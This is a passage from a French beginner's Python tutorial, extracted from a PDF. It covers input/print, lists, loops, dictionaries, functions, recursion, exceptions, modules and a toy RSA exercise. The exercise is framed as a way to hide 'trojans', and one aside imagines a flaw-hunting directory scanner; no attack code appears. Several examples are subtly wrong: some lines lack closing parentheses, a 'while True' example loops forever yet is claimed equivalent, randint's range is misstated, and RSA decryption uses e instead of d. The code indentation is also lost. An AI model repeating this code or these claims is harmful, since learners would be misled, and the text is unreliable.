Python dispose de nombreuses fonctions dites natives. Ce sont des bouts de


codes écrits par les développeurs permettant de gagner un temps bien précieux

69
et de ne pas réinventer la roue à chaque écriture de programme. Parmi ces
fonctions, il y en a deux qui vont nous intéresser ici :
α print(v1, v2, ...) : Afficher les valeurs comprises dans v1, v2, etc.
α input(phrase) : la chaîne de caractère compris dans phrase, demande une
saisie à l’utilisateur et renvoie la réponse

Nous nous pencherons plus tard sur la véritable conception d’une fonction,
retenez uniquement que ce sont des bouts de code que l’on appelle dans un but
précis. Par exemple, si je reprends l’interpréteur python et que j’utilise la fonction
print(), le résultat sera bien prévisible :

>>> print("Salut !")


Salut !

Ce que nous avons mis dans la fonction est directement affiché. Avec cette
explication supplémentaire, le programme que nous devons coder ne devrait pas
trop poser de problèmes durant son écriture. Essayez de le faire vous-même, je
vous mets la réponse ci-dessous pour que vous puissiez vérifier :

#!/bin/python
reponse = input("Rentrez votre nom : ")
print("Votre nom est ", reponse)

Explications : La fonction input() va afficher le texte « Rentrez votre nom : » à


l’utilisateur. Ce dernier va donc rentrer son nom et la valeur sera stockée à
l’intérieur de la variable reponse. La variable doit, à la fin, être affichée, c’est pour
cela que l’on utilise la fonction print(), dans laquelle on rentre un texte sommaire
pour présenter la valeur qui va être affichée, et notre variable reponse.

i Vous pouvez visualiser plus d'informations sur une fonction à l'aide de la


fonction help(function). Pour quitter la notice, appuyez sur q.

Un deuxième petit exercice pour la route, ça se tente ?

Je vous avais parlé plus tôt du type de variable nommé liste, mais nous n’avons
pas encore abordé ce qu’il en était vraiment. Une liste est un ensemble de valeur
(d’autres variables si vous préférez) accessible et modifiable à n’importe quel
moment. Les éléments qui la composent sont mis entre crochets :

>>> maListe = []

70
Ici, notre liste est vide. Pour y ajouter des valeurs, il suffit de les séparer par une
virgule en les notant un à un :

>>> maListe = [1, 4, 10]

Bien sûr, les listes peuvent combiner plusieurs types à la fois :

>>> maListe2 = ["chaussette", 143.78, False]

Pour accéder à un élément de la liste, il suffit ensuite de rentrer le nom de la liste,


puis entre crochet, l’index de l’élément dans la liste, c’est-à-dire le rang qu’il
occupe où l’endroit où il se trouve dedans.
Les listes ont cette spécificité d’avoir un système d’indexation un peu particulier.
L’élément numéro 1 aura pour index 0, le 2 aura 1, le 3 aura 2, etc. C’est une
règle commune à tous les langages de programmation, les listes commencent par
l’index 0, et qui provoque bon nombre d’erreurs.

Pour accéder aux valeurs de maListe, il faudra donc taper :

>>> maListe[0]
1
>>> maListe[1]
4
>>> maListe[2]
10

Idem pour maListe2 :

>>> maListe2[0]
'chaussette'
>>> maListe2[1]
143.78
>>> maListe2[2]
False
Ce qu’il y a de plus fou dans l’utilisation des listes, c’est la modification des
éléments qui devient extrêmement facile :

>>> maListe[0] = 123

Si on affiche le résultat, la valeur a bien été changée :

>>> print(maListe)
[123, 4, 10]

71
On reparlera un peu plus tard plus en détail des listes, mais pour le moment,
retenez que c’est un type de donnée à part entière capable de supporter une
multitude d’éléments en son sein.

Mais revenons à notre exercice. Si je vous ai fait cette petite digression sur les
listes, c’est que je vous sens prêt à affronter un code plus costaud. Vous allez
programmer un système où l’utilisateur peu choisir un article de magasin parmi 5
et la machine lui renvoie le montant qui lui sera facturé pour cet article. Pour vous
aider, mettez les prix des produits sous la forme d’une liste, et demander à
l’utilisateur le numéro du produit qu’il désire, ce dernier correspondra alors à
l’index du prix dans la liste.

Fonction dont on se servira : int(), input(), print()

i La fonction int() permet de convertir une chaîne de caractères en nombre.

Solution de l’exercice :

#!/bin/python
prix = [0.1, 0.3, 0.05, 0.4, 0.2]
print("Chosissez un article :")
print("[0] concombre")
print("[1] poire")
print("[2] fraise")
print("[3] orange")
print("[4] pomme")
rep = input("Entrez le numéro de votre choix : ")
rep = int(rep)
print("Vous devez payez : ", prix[rep], "€")

i Vous pouvez utiliser trois apostrophes de chaque côté d’une chaîne de


caractères si vous voulez imprimer plusieurs lignes (''' texte ''').

III. Les conditions et les boucles


Mais que serait la programmation sans ce qui lui donna ses lettres de noblesse, à
savoir la logique et l’automatisation. Nous allons les étudier dans ce chapitre-ci,
ce qui permettra d’agréer vos petits programmes d’une certaine logique et d’une
complexité inédite.

Nous avions vu, lorsque nous abordions les types de données (variables) qu’il en
existait une sorte un peu spéciale nommée booléens, mais que sont-ils vraiment ?

72
Je vous avais dit qu’il ne pouvait s’agir que de deux possibilités, soit vrai, soit
faux, mais à quelle question ? Eh bien, à une proposition logique que l’on va
donner à Python.

Les propositions logiques sont un peu du même acabit de ce que l’on peut voir
lorsque on aborde la logique en mathématique au lycée. On donne une
proposition, et il faut démontrer si elle se trouve être vraie ou fausse, et ça,
Python c’est très bien le faire tout seul. Ces réponses à nos propositions vont nous
être utiles pour formuler des conditions, c’est-à-dire des morceaux de code que
l’on exécute si et seulement si la proposition posée au préalable est vraie. Les
propositions sont bien souvent des comparaisons, mais aussi la vérification de la
présence d’un élément dans une liste ou encore l’utilisation d’opérateur logique
redonnant un résultat sous forme de booléen :

Les différentes propositions en python


Comparaison
a == b a est égal à b
a<b A est strictement inférieur à b
a>b A est strictement supérieur à b
a <= b A est inférieur ou égal à b
a >= b A est supérieur ou égal à b
c in texte C est présent dans la chaîne texte
Logique
not a Renvoie True si a est faux, et inversement
a|b Ou inclusif : Renvoie True si a OU b est vrai
a&b Et : Renvoie True si a ET b sont vrais
Ou exclusif : Renvoie True si a et seulement a OU b et
a^b
seulement b est vrai

Maintenant que l’on connaît les différentes propositions possibles, on va pouvoir


les importer dans notre code Python afin de rendre nos programmes plus
performants. Comme dans tout langage de programmation, les blocs if … else …
(si … sinon …) sont utilisés afin de mettre en place nos conditions :

if condition:
faire...

73
Et avec un bloc else, qui va nous permettre d’exécuter du code si la condition est
invalide, cela donne :

if condition:
faire...
else:
faire...

! Tabuler son code est extrêmement important en Python. Il permet au


langage de reconnaître les blocs et de les exécuter correctement.

i Les espaces peuvent également servir à tabuler, veillez juste à en mettre le


bon nombre à chaque ligne.

Petit exemple d’utilisation, on veut comparer deux nombres rentrer par


l’utilisateur puis lui renvoyer lequel est supérieur à l’autre :

#!/bin/python
nb1 = int(input("Nombre 1 : ")
nb2 = int(input("Nombre 2 : ")
if nb1 < nb2:
print("Nombre 2 est supérieur à Nombre 1")
else:
print("Nombre 1 est supérieur à Nombre 2")

Les conditions ne sont vraiment pas compliquées à utiliser et constituent la base


de la programmation logique.

Maintenant, une petite série d’exercice pour vérifier que la notion est bien
comprise et qu’elle ne vous pose aucun problème (j’en suis sûr) :
α Refaire le programme de comparaison de nombres, mais cette fois-ci avec 3
nombres saisis par l’utilisateur.
α Faire un programme permettant à un utilisateur de savoir si la lettre e est
présente dans son prénom.
Abordons maintenant les boucles. Ce ne sont ni plus ni moins que des conditions
qui vont se répéter jusqu’à ce qu’elles soient fausses. Une des premières boucles
que nous allons voir est while.

While vient de l’anglais et veut dire « tant que », ce qui, mis dans un langage
logique, veut dire « tant que ma condition est vraie, exécute ce bloc
d’instructions ». Traduit en Python, cela donne :

74
while condition:
fait...

! Faites bien attention à ne pas créer de boucles infinies en insérant une


condition qui ne soit jamais fausse. Votre ordinateur vous remerciera.

Par exemple, si nous voulions afficher le résultat d’une variable qui est
incrémentée à chaque fois, le code serait :

#!/bin/python
compteur = 0
while compteur < 5:
print("compteur = ", compteur)
compteur += 1

i Pour faire une assignation par opération (une incrémentation par exemple),
utilisez le symbole arithmétique voulu, suivi d’un égal et du nombre choisi.

L’apparition des boucles a vu la création de deux nouveaux mot-clefs en plus :


break et continue. Le premier sert à arrêter la boucle définitivement, même si la
condition est encore valide ; le second sert à sauter une itération de la boucle et à
passer à la suivante, sauf si la condition est alors invalide.

Nous pourrions alors réécrire exactement le même algorithme mais sous une
forme différente :

#!/bin/python
compteur = 0
while True:
print("compteur = ", compteur)
if compteur >= 5:
break

Le résultat est également le même, sauf que la condition de départ sera toujours
valide (pourquoi serait-elle fausse ?).

Vous les sentez venir les nouveaux exercices :) Cette fois-ci, je vais être gentil, je
ne vous en mets qu’un seul mais qui va vous demander un peu plus de réflexion.
On vous donne le code suivant permettant à l’utilisateur d’effectuer des calculs
entre deux nombres :

75
#!/bin/python
while True:
print('''=-= Machine à Calculs =-=
[1] Addition
[2] Soustraction
[3] Multiplication
[4] Division

[0] Quitter''')
choix = int(input("Faites votre choix : "))

Complétez-le, de sorte qu’il soit pleinement fonctionnel. Vous pouvez demander à


l’utilisateur de rentrer ses nombres avec la fonction input(), n’oubliez juste pas de
les transformer en nombre.

Abordons dès à présent le deuxième type de boucle : for. Ce type de boucle


permet de parcourir un objet, c’est-à-dire d’exécuter le bloc de code pour chaque
élément de l’objet. Par exemple, elle pourra parcourir chaque caractère d’une
phrase ou encore, chaque élément d’une liste. De plus, à chaque itération, on met
un compteur qui récupère la valeur de l’élément étudier. Petit exemple pour que
vous puissiez comprendre :

#!/bin/python
for i in [1, 2, 3]:
print(i)

Le résultat sera :

1
2
3

De même avec une chaîne de caractères :

#!/bin/python
for i in "Salut !":
print(i)

Où le résultat sera cette fois-ci :

76
S
a
l
u
t

Bien sûr, dans nos exemples, j’ai utilisé i en tant que variable prenant la valeur de
chaque élément, mais vous pouvez la remplacer par ce que vous voulez. On met i
par convention d’écriture, c’est tout.

Pour vous entraîner vous pouvez essayer de réaliser un petit algorithme


renvoyant l’ensemble des nombres premiers (divisibles uniquement par 1 et par
eux-mêmes, ex : 7) compris entre 1 et 100.

i Aidez-vous de la fonction native range(n) qui permet de parcourir les


nombres entiers de 0 à n. Faites attention car n est exclu de la liste.

Dans la même veine, essayez de créer un algorithme qui renvoie le nombre


d’occurrence de chaque caractère dans une phrase peut être envisagé. Pour ce
faire, laissez-moi vous présenter un nouveau type de donnée un peu particulier :
le dictionnaire.

Vous allez très certainement être surpris, car je vous ai menti, il n’y a pas que
quatre types de données en python, mais beaucoup plus, nous n’avions pas le
temps de tous les aborder en début de chapitre.

Les dictionnaires sont un type de liste, à l’exception que pour accéder à une
valeur, on ne se servira pas d’un index mais d’une clef, c’est-à-dire une deuxième
valeur. Il aura donc cette structure particulière :

dictionnaire = {"clef" : "valeur"}

Cela permet ainsi de clarifier plusieurs informations sur une variable. Admettons
que vous ayez une voiture à décrire, eh bien le dictionnaire est votre plus grand
ami :

77
voiture = {
"marque" : "peugeot",
"nom" : "406",
"chevaux" : 2,
"places" : 2,
"km" : 14567
}

! N’oubliez pas de séparer les différents attributs du dictionnaire par une


virgule, comme dans l’exemple ci-dessus.

La modification devient beaucoup plus claire grâce au dictionnaire :

voiture["km"] += 1

L’utilisation du dictionnaire va vous simplifier la vie pour l’exercice que je vous ai


proposé, vous allez pouvoir rentrer chaque caractère apparaissant pour la
première fois comme une clef, et le nombre de fois où il revient comme une
valeur de cette clef. Je ne vous ai juste pas dit comment l’on parcourt un
dictionnaire. Il existe trois méthodes, celle pour parcourir les clefs :

for i in dictionnaire.keys() :
# fait...

Celle pour, à l’inverse, parcourir les valeurs :

for i in dictionnaire.values() :
# fait...

Et la dernière, pour parcourir tout le dictionnaire, indépendamment des clefs ou


des valeurs :

for i in dictionnaire.items() :
# fait...

Dans ce dernier cas, i va prendre la valeur d’un tuple, c’est-à-dire une liste non-
modifiable (encore un autre type de donnée dont j’ai oublié de vous parler) qui
aura pour index 0, la clef, et pour index 1, la valeur.
Vous devez maintenant être suffisamment armé pour réussir à faire cet exercice.

Essayez de commenter votre code pour ne pas vous perdre, aujourd’hui ou


i dans un mois. Ajouter le symbole # devant une ligne et elle sera ignorée
lors de l’exécution du programme.

78
IV. Fonctions et récursivité
Maintenant que nous avons abordé les boucles et les conditions, nous allons
pouvoir parler d’un autre élément très important de la programmation : les
fonctions. Elles vont vous permettre de répéter des morceaux de codes en dehors
d’une boucle et à n’importe quel moment. De même, la rédaction et la lecture de
votre programme sera beaucoup plus simple.

Pour déclarer une fonction (notez le vocabulaire spécifique), il suffit d’utiliser le


mot-clef def et de taper ensuite le nom de la fonction. Des paramètres peuvent
être passés à la fonction, c’est-à-dire des variables qui seront utilisées au sein de
la fonction et seulement dans cet endroit. La syntaxe ressemblera donc à ça :

def maFonction(param1, param2, etc):


# fait...

Si vous n’arrivez pas trop à vous représenter le fonctionnement d’une fonction, eh


bien repensez à vos cours de mathématiques (je sais, cet argument n’est pas très
vendeur :/). On donne un antécédent à une fonction, elle opère un certain nombre
de calculs, et elle renvoie une image. En python, c’est à peu près la même chose,
à l’exception près qu’il n’y a pas d’obligation quant au renvoi de valeur. Par
exemple, soit la fonction f (x)=3 x +2 , sa représentation en Python serait :

#!/bin/python
def f(x):
return 3 * x + 2

Le mot-clef return est utilisé pour renvoyer une valeur en dehors de la fonction
que l’on va pouvoir réutiliser, par exemple pour afficher le résultat à l’utilisateur :

print("L'images de la fonction f pour x = 2.5 est ", f(2.5))

L’image de la fonction f pour x = 2.5 est 9.5

L’utilité d’une telle fonction laisse à désirer, mais imaginez-vous en train de


programmer un très gros programmes permettant de retrouver l’ensemble des
répertoires d’un site en vu de tous les visiter pour trouver une faille à exploiter. Eh
bien nous pourrions très bien imaginer une première fonction effectuant la
recherche des dossiers, et une deuxième fonction dessinant une interface
graphique pour rendre le logiciel plus pratique à l’utilisation.

79
Découper son code en plusieurs fonctions représentent un gain de temps lorsqu’il
faut exécuter plusieurs fois la même action nécessitant un grand nombre de ligne.
Prenez garde cependant à ne pas en abuser pour laisser votre code clair…

Ce qui est pratique avec les fonctions, c’est le jeu de paramètre que l’on peut
mettre en place. On peut parfaitement voir un paramètre s’auto-déclarer dans la
définition de la fonction :

#!/bin/python
def suite(n, u=0):
for i in range(n):
u = u + 3
return u

Ici, même si l’utilisateur n’a pas donné de valeur à u, le programme en a tout de


même une par défaut, ce qui va éviter de ressortir une erreur. Dans le cas
présent, l’utilisation d’une telle méthode est inutile, mais on pourrait très bien
imaginer une fonction qui dessinerait une fenêtre pour un programme et qui
demanderait à l’utilisateur la taille qu’il souhaite en longueur et en largeur. Avoir
une taille par défaut dans le cas où elle n’est pas précisée est une idée excellente,
car elle permet de continuer l’exécution sans tout bloquer pour une information
mineure manquante.

De même que l’on peut jouer avec les paramètres, il est tout à fait possible de
jouer avec la structure même des fonctions. Vous n’y avez sûrement pas pensé,
mais que se passerait-il si on appelait une fonction en son sein en lui donnant
différents paramètres :

#!/bin/python
def f(n=5):
print(n)
if n > 0:
f(n-1)

Le résultat va être le même que si l’on avait fait une boucle for, mais à l’envers.
Nous venons de créer ce qu’on appelle une fonction récursive. Elles peuvent
servir de boucle, bonne alternative aux autres méthodes dites itératives.

Bien que les fonctions récursives soient fortes utiles, les boucles itératives
i resteront majoritaires dans vos codes. L’utilisation de l’une des deux se fait
dans des cas précis que vous arriverez à détecter avec le temps.

80
! Veillez bien à arrêter l’ouverture de nouvelles fonctions, vous vous
retrouveriez dans le même cas qu’une boucle infinie sinon.

Il y a quelques notions associées à ces fonctions récursives. La première, il existe


une pile d’exécution sur laquelle les différentes ouvertures de fonction vont
s’empiler. Comme toute pile, elle atteint une hauteur maximale, ce qui vous sera
signalé par Python avec RecursionError: maximum recursion depth exceeded.

A l’inverse du code Python standard qui peut être vu comme une file où chaque
instruction sort au fur et à mesure, la pile d’exécution des fonctions fonctionnent
tant que l’on peut empiler. Elle dépile successivement les fonctions de la dernière
ouverte jusqu’à la première.

i On parle de méthode LIFO pour une pile : Last in First out.


Quant aux files, on parle de FIFO : First in First out.

Les fonctions récursives amènent donc de nouvelles manières de travailler en


proposant deux manières de voir le code en fonction de l’utilisation de boucles
itératives ou récursives. La première est appelée Bottom-Up, on part d’une valeur
n égal à 0 et on s’arrête à un certain rang, c’est ce que vous faites lorsque vous
utilisez la boucle for. La deuxième, nommée Top-Down, on part d’une valeur n
donné supérieur à 0, et on diminue de un en un jusqu’à n = 0.

Ces deux méthodes vont permettre de modifier la complexité de votre code, c’est-
à-dire d’optimiser certains passages pour les rendre plus rapide à l’exécution.

Depuis un moment, je vous parle d’erreurs, mais nous n’avons toujours pas
abordé le sujet en profondeur. Alors laissez-moi vous présenter le monde
fascinant des erreurs en Python avant une petite séance d’exercices.

Lorsque vous écrivez un programme et qu’une action non autorisée est exécutée,
Python va lever une exception, c’est-à-dire une erreur à nos yeux. Bien que la
plupart du temps, ces dernières nous embêtent et nous agacent au plus haut
point, mais elles peuvent s’avérer utiles quand on les maîtrise. Au lieu de laisser
un message barbare s’afficher au visage de vos utilisateurs, on peut récupérer
cette expression et la transformer pour l’afficher mais de manière plus soutenue
sans freiner l’exécution.

Pour ce faire, on utilise le bloc try … except … :

#!/bin/python
try:
# faire...

81
except TypeErreur:
# faire...

Par exemple, on crée la fonction inverse en Python, et on propose à l’utilisateur de


rentrer lui-même le dénominateur :

#!/bin/python
def inverse(x):
return 1 / x

print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))

Que se passerait-il si l’utilisateur rentrait le chiffre 0 ? Le programme va lever une


exception, car on ne peut diviser par 0 en mathématique :

Rentrez x : 0
Traceback (most recent call last):
 File "/home/jacky/f.py", line 5, in <module>
   print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))
 File "/home/jacky/f.py", line 3, in inverse
   return 1 / x
ZeroDivisionError: division by zero

Ici, c’est l’erreur ZeroDivisionError, il existe un paquet d’autres types d’erreurs.


Je ne vous les mets pas la liste complète des erreurs, vous aurez bien le temps de
toutes le découvrir. La solution est alors d’utiliser try pour lever une exception et
invalider la demande de l’utilisateur :

#!/bin/python
def inverse(x):
try:
return 1 / x
except ZeroDivisionError:
print("Division par 0 interdite")
return 0

print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))

Rentrez x : 0
Division par 0 interdite
L'inverse de votre nombre est :  0

Notre erreur est résolue et ne ruine pas l’expérience d’utilisation.

82
Spécifier une erreur n’est pas obligatoire. Except seul peut lever une
i exception. Cependant, spécifier la nature de l’exception permet de rajouter
de la clarté à votre code.

De la même manière, Python ne possède pas des exceptions pour tous les cas de
figures, il va donc falloir créer vos propres erreurs afin d’engager des actions plus
propres à vos exigences. Mais nous ne pourrons pas voir ça pour l’instant, vous
n’avez pas les compétences nécessaires pour qu’on puisse en parler.

Le mot-clef qui sera utilisé pour cette action peut tout de même être utile pour
afficher de plus amples informations à l’utilisateur en cas d’exception sans utiliser
d’instruction print(), il s’agit de raise :

raise typeErreur(msg)

Par exemple, dans un programme qui demande à l’utilisateur de rentrer un


nombre avec la fonction input() :

#!/bin/python
nb = input("Rentrez un nombre : ")
try:
int(nb)
except:
raise ValueError("Vous n'avez pas rentré un nombre")

! Le mot-clef raise interrompt l’exécution comme une erreur classique.

Petite séance d’exercices maintenant, il vous faut :

α Programmer la fonction carrée à l’aide de l’opérateur **


α Programmer la fonction divisible(a, b) qui renvoie True si a est divisible par
b. La fonction lève l’exception ValueError si a < b.
α Programmer la fonction diviseur(a) qui renvoie une liste des diviseurs de a.
α Programmer la fonction PGCD(a, b) qui renvoie le plus grand diviseur
commun de a et b.

Comme d’habitude, je ne vous mets pas de correction, vous arriverez très bien à
force de persévérance, à vous rendre compte si votre code fonctionne ou non.
C’est d’ailleurs là l’objectif de ces exercices, vous faire chercher, jusqu’à ce que
vous compreniez ce que vous faites.

83
Pour ceux fâchés avec les maths : un nombre entier a est divisible par un
i autre nombre entier b, si et seulement si le reste de la division euclidienne
de a par b donne 0. Autrement dit, a % b = 0.

! Gardez bien dans un fichier les fonctions sur les diviseurs et le PGCD, nous
en auront besoin plus tard…

V. Modularité
À force de me lire, vous devez commencer à comprendre certaines logiques
inhérentes à la programmation et l’algorithmie, et notamment une loi impitoyable
qui s’appelle la paresse. Comme chaque être humain, les développeurs sont
partisans du moindre effort, ou du moins, quand ils le peuvent. Afin d’éviter de
réinventer la roue à chaque programme, ils ont mis en place les modules (ou
librairies), bribes de codes à partager à tous simplifiant certaines utilisations de
Python.

Il existe des modules pour tout et surtout pour rien. Pour générer des nombres
aléatoires, utiliser les commandes du système, faire tourner plusieurs processus
en arrière plan ou encore pour utiliser certains algorithmes comme le base64.

Afin de simplifier leurs utilisations et leur partage, un site répertoriant tous les
modules existe : https://pypi.org/.

Pour installer un de ces paquets, la commande utilisée sera pip, quel que soit le
système d’exploitation que vous utilisez :

$ pip install [paquet]

Rappelez-vous la commande issue de la partie sur Linux pour installer des


paquets depuis un fichier de dépendances :

$ pip install -r requirements.txt

Pip est préinstallé sur les versions 3.10 et supérieurs de Python. SI ce n’est
i pas le cas pour vous, suivez les instructions de la doc pour l’installer
manuellement : https://pip.pypa.io/en/stable/installation/.

84
Mais revenons à nos modules. Beaucoup des plus utiles sont déjà installés avec
Python, et nous allons en découvrir quelques-uns. Le premier est le module
random, permettant de générer des nombres aléatoires.

Afin d’importer un module en Python, on utilise l’instruction import suivie du nom


du module :

#!/bin/python
import random

Maintenant que notre module est importé, nous pouvons commencer à utiliser ses
fonctions. Cependant, il va falloir faire un premier pas dans le chapitre d’après
pour comprendre comment toutes ces fonctions sont ajoutées à Python.

Python est un langage orienté objet, c’est-à-dire que le développement de logiciel


se fait selon la logique que n’importe quel élément possède ce que l’on appelle
des méthodes. Ces méthodes sont-elles mêmes des objets invoquant de nouvelles
méthodes, qui sont elles-mêmes des objets invoquant de… Bref, c’est une
régression à l’infini, tout ça pour dire que les objets et leurs méthodes sont
omniprésents dans Python.

Je vous ai parlé d’objets tout au long de ce livre sans jamais vraiment les définir.
Les objets sont toutes les données que vous avez ou allez manipuler, il en existe
plusieurs types : les nombres, les caractères, les listes, les tuples, les fonctions,
les modules, les dictionnaires, etc.

On peut retrouver facilement les méthodes d’un objet à l’aide de la fonction


native dir() :

>>> dir(0)
['__abs__', '__add__', '__and__', ... , 'to_bytes']

Et oui, si vous le vouliez, vous pourriez consulter les méthodes de la fonction dir :

>>> dir(dir)
['__call__', '__class__', '__delattr__', ... ,'__text_signature__']

Afin d’appeler les méthodes d’un objet, on met le nom de l’objet, suivi du nom de
la méthode que l’on désire :

85
>>> x = 0
>>> x.real
0

La méthode real du type int permet d’avoir la partie réelle de n’importe quel
nombre (méthode inutile mais bien pratique pour cet exemple).

! Certains objets, comme les nombres, ne peuvent pas être appelés lorsqu’ils
ne sont pas déclarés sous la forme de variable.

Comme tout objet, les modules possèdent donc des méthodes, sauf qu’ici, elles
sont directement écrites par le développeur. Certains font très bien leur boulot et
ajoute une documentation, en cas de problème cela peut simplifier la vie des
développeurs en leur permettant de lire le manuel de chaque fonction proposée
par le module. Ainsi, on peut tout à fait visualiser les commandes mises à
disposition à l’intérieur de random :

>>> import random


>>> help(random)

Toutes ces choses sont très bien, mais vous sentez bien qu’à la longue, toujours
devoir taper random pour faire utiliser une de ces fonctions devient rébarbatif. Les
développeurs ont donc inventé un nouveau mot-clef, as, qui va instancier un
nouveau nom pour le module pour votre programme. Ainsi, taper ces lignes
comme vous en aurez très vite l’habitude :

#!/bin/python
import random
print(random.randint(0, 10)) # Nombre aléatoire entre 1 et 10

Aura exactement le même effet que de taper :

#!/bin/python
import random as r
print(r.randint(0, 10)) # Nombre aléatoire entre 1 et 10

! Faites attention à laisser des noms à peu près clairs à vos modules pour
faciliter la relecture du code. Ici le nom n’est pas clair du tout

Mais on peut faire encore plus fou pour gagner un peu de temps dans certains
cas. Afin d’éviter les conflits de fonctions existantes dans plusieurs modules, les

86
concepteurs de python avaient en mis ce système de méthodes, mais ils ont
laissé la possibilité d’importer directement les attributs du module dans Python
lui-même. On utilisera donc un autre moyen pour importer, par exemple, avec les
fonctions mathématiques :

>>> from math import *

Cette ligne veut dire : « importe tous les composants du module math et
incorpore-les à la base de Python ». Ainsi, pour obtenir la valeur de π, je n’aurai
plus à taper cette longue ligne :

>>> math.pi
3.141592653589793

Je pourrai le faire directement en tapant :

>>> pi
3.141592653589793

De même, afin de ne pas avoir à importer trop de code, on peut sélectionner


directement les composants que l’on souhaite en remplaçant l’astérisque, qui je le
rappelle met en évidence une sélection de tous les éléments, par le nom des
méthodes qui nous intéressent :

#!/bin/python
from math import cos, sin, tan
import math
print("Cosinus de π / 2 = ", cos(math.pi / 2))

L’utilisation des fonctions trigonométriques se fait en radians et non en


! degrés. Les non-initiés aux mathématiques seront perdus, mais dites-vous
que pour toute transformation d’angle α, il suffit de faire (α*π)/180.

À savoir que vous aussi vous pouvez programmer vos propres modules, ou du
moins, séparer votre code en plusieurs fichiers distincts. Cela peut permettre de
rajouter un peu plus de clarté à vos productions.

Admettons que je possède un fichier nommé fonctions.py dans mon répertoire de


travail, et que je souhaite accéder à toutes mes fonctions incroyables depuis un
autre fichier, eh bien c’est tout à fait possible. Voici le contenu de fonctions.py :

87
#!/bin/python
import math
def f(x):
'''f(x) = 3x + 3'''
return 3 * x + 3

def g(x):
'''g(x) = 2x² + 3x – 9'''
return 2 * (x**2) + 3 * x – 9

def enRadian(a):
'''Renvoie la valeur en radian de a'''
return (math.pi * a) / 180

i Utilisez les guillemets triple apostrophes (‘’’’’’) pour ajouter une doc à vos
fonctions. L’utilisation par d’autres développeurs leur sera plus agréable.

Je décide de créer un deuxième script appelé trigo.py. L’agencement de mes


fichiers est le suivant :

.
├── fonctions.py
└── trigo.py

Je n’ai qu’à importer le fichier en utilisant son nom, dépourvu de l’extension py :

#!/bin/python
from fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))

Mais que faire si les fichiers à importer sont trop nombreux, le contenu du dossier
n’est plus assez lisible pour qui veut exécuter notre programme :

88
Il est possible afin de garder une présentation et une organisation des fichiers à
peu près potable, d’importer depuis un fichier qui se trouve lui-même dans un
dossier. Par exemple :

.
├── modules
│   └── fonctions.py
└── trigo.py

La ligne permettant l’import depuis mon dossier sera alors la suivante :

#!/bin/python
from modules.fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))

Ce que vous venez de lire représente tout ce qu’il y a à savoir sur les modules.
Les notions n’étaient peut-être pas assez digestes dans la manière dont elles vous
ont été montrées, alors tâchons de réviser ensemble avec des exercices guidés
(mais pas trop quand même ;) ).

Cet exercice va utiliser des points d’arithmétiques, je m’efforcerai à rester


le plus clair possible afin que tout le monde puisse me comprendre.
! L’important n’est pas le côté mathématique, mais l’utilisation des notions,
et si vraiment l’utilisation de ces dernières vous brusque, passez à
l’exercice qui suit sur le module Turtle.

Ainsi donc, nous revoilà à devoir coder. Je vous avais demandé de garder les
fonctions de la fois dernières, car nous les réutiliserions, eh bien nous allons le
faire tout de suite. Dans un premier temps, renommer le fichier qui contenait vos
fonctions en pgcd_func.py. Créez ensuite un nouveau script nommé rsa.py, notre
objectif sera de reproduire notre version de ce célèbre algorithme de chiffrement
afin de « cacher » nos trojans.

Tout le reste de l’exercice se fera dans le fichier rsa.py. Importez les fonctions de
la partie précédente, ainsi que le module random.

Seule la méthode randint(a, b) du module random sera utilisée, vous


i pouvez donc ne sélectionner que cette dernière. Pour rappelle, elle renvoie
un nombre aléatoire appartenant à [a, b[ (intervalle a inclus, b exclus).

Dans un premier temps, écrivez la fonction premier(a, b) qui renvoie un nombre


premier appartenant à l’intervalle a, b inclus ([a, b]). On se servira de la fonction
diviseur(a), et on se rappellera qu’un nombre premier n’a que deux diviseurs, 1 et
lui-même.

89
Écrire ensuite une fonction clef(). Elle utilise trois variables : p, un nombre premier
aléatoire compris entre 10 et 100, q, un autre nombre premier aléatoire compris
entre 10 et 100, et n, le produit de p par q.

Toujours au sein de cette même fonction clef, on déclare une variable nommée
phi, égale au produit de (p – 1) et de (q – 1) (autrement dit pour les matheux
φ (n)=( p−1)(q−1) , il s’agit de l’indicatrice d'Euler en n, comptant le nombre de
nombres premiers avec n sur l’intervalle [1, n]).

On cherche ensuite à déterminer l’exposant de chiffrement e. Pour ce faire, on le


détermine un peu aléatoirement (une boucle testant les possibilités les plus
appropriées serait indéniablement beaucoup plus pratique) tel que e < phi et
PGCD(phi, e) = 1 (⇔ φ(n) et e sont premiers entre eux).

Puis on détermine d, l’exposant de déchiffrement, tel que (e * d) % phi = 1 (⇔


∃d /e×d≡1[ φ ( n)] ). Enfin, la fonction renvoie un tuple contenant dans l’ordre e, d
et n. C’est tout pour la partie complexe, j’espère ne pas trop vous avoir perdu.

On écrit ensuite une fonction rsa_cyp(msg, e=0, n=0) qui chiffre le message de la
méthode suivante :

α Faire une liste des valeurs numériques des caractères de msg avec la
fonction ord(c) (renvoie la valeur ASCII de c).
α Si e = 0, générer les clefs avec la fonction clef() créée précédemment.
α Générer d, l’exposant de déchiffrement, si nécessaire.
α Le nombre chiffré C est égale au reste de la division euclidienne de la valeur
numérique d’un caractère M puissance e et de n. Autrement dit C=M e % n
ou pour les matheux M e ≡C[n] .
α On renvoie ensuite un tuple contenant la liste des caractères chiffrés, n et d.

On écrit ensuite la fonction inverse, rsa_dec(L, d, n), tel que :

α Pour chaque élément de L, on retrouve le caractère d’origine M par la


relation M =C e % n . Autrement dit pour certaines têtes C e≡M [n] .
α On utilise ensuite la fonction chr(n) qui renvoie un caractère à partir d’un
code ASCII pour retrouver chaque caractère depuis le nombre décodé.
α On renvoie ensuite une chaîne de caractères, résultat de l’union de tous les
caractères à l’aide de la fonction join :

>>> resultat = "".join(liste)

90
Arrêtons avec les maths avant que certains ne s’éclatent la tête contre un mur. Je
vous avais dit qu’aucune réponse ne serait donnée ; dans ma grande clémence, je
vous offre ces précieuses fonctions toutes faites, ou du moins quelques bribes
pour vous aider.

from ... import ...

def clef():
    # Cette fonction génère les clefs publiques et privées
    # Elle les renvoie sous forme d'un tuple, accompagné de n
   p  = premier(..., ...)
   q  = premier(..., ...)
   n  = ... * q
   phi = (p - ...) * (... - 1)
    # On définit e, exposant de chiffrement
   while True:
       e = random.randint(2, n)
       if pgcd(e, ...) == 1 and e < phi:
           break
    # On définit d, exposant de déchiffrement
   ... i ... range(phi):
       if (i * e) % phi == ...:
           d = i
           break
   ... (e, d, ...)

